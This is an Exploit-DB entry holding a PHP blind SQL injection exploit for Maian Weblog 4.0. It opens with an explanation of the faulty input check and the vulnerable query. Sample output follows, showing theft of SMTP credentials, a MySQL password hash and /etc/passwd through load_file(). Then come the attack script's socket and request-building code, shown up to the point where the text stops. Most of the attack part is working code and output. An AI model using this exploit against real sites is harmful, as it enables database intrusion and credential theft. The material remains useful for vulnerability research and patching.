Exploit-DB #16949
Description: Maian Weblog 4.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-03-09
Author: mr_me

Exploit:
<?php
/*
maian weblog <= v4.0 Remote Blind SQL Injection Exploit
vendor: http://www.maianscriptworld.co.uk/
Thanks to Johannes Dahse: http://bit.ly/dpQXMK

Explanation:
Lines 335 - 341 of the index.php we see this if statement that concerns
our variable $b_post.

   // Check month and year vars...
   // If they don`t equal 0, are they numeric?..
   if ($b_post==0 && !ctype_digit($b_post))
   {
     header("Location: index.php");
     exit;
   }

This if statement is suppose to prevent the SQL Injection vulnerability.
However the logic implimented is incorrect, as there will never be a situation
where the $b_post variable that we control will ever be a 0 and a string value.

So a simple fix to remediate this issue becomes clear, instead of an &&, the
author was suppose to use an ||. o.O

Further down in the index.php page on lines 348 - 361, we see the location of the
actual vulnerable code.

   $q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
                          WHERE id = '$b_post'
                          LIMIT 1
                          ") or die(mysql_error());
   $BLOG = mysql_fetch_object($q_blog);

   // At this point, lets see if the last query fetched anything..
   // If it didn`t, blog id is invalid. Might be someone bookmarked an old link..
   // If no data, redirect to homepage..
   if (mysql_num_rows($q_blog)==0)
   {
     header("Location: index.php");
     exit;
   }

The page redirects after the query is executed. This way you probably won't spot the
bug in your browser from a blackbox view :). No urldecode() so we can't bypass 
magic_quotes_gpc and the admin credentials are not stored in the database. doh.

Using < or > would make the PoC a little more efficient, but oh well :0)	 
Assuming some stars are aligned, the PoC will make well over 11,000 requests...
[mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080

-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------

(+) Setting the proxy to 127.0.0.1:8080
(+) Getting basic database information
(+) Database version -> 5.1.41-3ubuntu12.9
(+) Database name -> maian_weblog
(+) Database user -> root@localhost
(+) SMTP details found!
(+) Getting SMTP host:user:pass -> localhost:maianmail:password
(+) Access to MySQL database successful, dumping hash!
(+) MySQL user:pass -> root:*EE4E2773D[PII_REDACTED]F0DC6FCE27446A51C9413
(!) Access to load_file(), wanna play? (y/n): y

(+) Please enter the file (q to quit): /etc/shadow
(-) File doesn't exist/no access.
(+) Please enter the file (q to quit): /etc/passwd
(!) Dumping the /etc/passwd file, hold onto your knickers!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:......
*/

print_r("
-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------
");

if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/
-----------------------------------------------------------------------------
"); die; }

error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);

$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";

function setArgs($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (ereg("--([^=]+)=(.*)", $arg, $reg)) {
            $_ARG[$reg[1]] = $reg[2];
        } elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) {
            $_ARG[$reg[1]] = "true";
        } else {
            $_ARG["input"][] = $arg;
        }
    }
    return $_ARG;
}

$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];

if (strpos($host, ":") == true){
    $hostAndPort = explode(":",$myArgs["input"][1]);
    $host = $hostAndPort[0];
    $port = $hostAndPort[1];
}else{
    $port = 80;
}

if(isset($myArgs["p"])){
    $proxyAndPort = explode(":",$myArgs["input"][3]);
    $proxy = $proxyAndPort[0];
    $pport = $proxyAndPort[1];
    echo "\n(+) Setting the proxy to ".$proxy.":".$pport;
}else{
    echo "\n(-) Warning, a proxy was not set";
}

// rgods sendpacketii() function
function sendpacket($packet)
{
    global $proxy, $host, $port, $pport, $html, $proxy_regex;
    if (!isset($proxy)) {
        $ock = fsockopen(gethostbyname($host),$port);
        if (!$ock) {
            echo "\n(-) No response from ".$host.":".$port; die;
        }
    }
    else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
            echo "\n(-) Not a valid proxy..."; die;
        }
        $ock=fsockopen($proxy,$pport);
        if (!$ock) {
            echo "\n(-) No response from proxy..."; die;
        }
    }
    fputs($ock,$packet);
    if ($proxy == "") {
        $html = "";
        while (!feof($ock)) {
            $html .= fgets($ock);
        }
    }
    else {
        $html = "";
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
            $html .= fread($ock,1);
        }
    }
    fclose($ock);
    return $html;
}

function read() {
    $fp1 = fopen("/dev/stdin", "r");
    $input = fgets($fp1, 255);
    fclose($fp1);
    return $input;
}

if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}

function checksqli($sqli, $p){
    $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n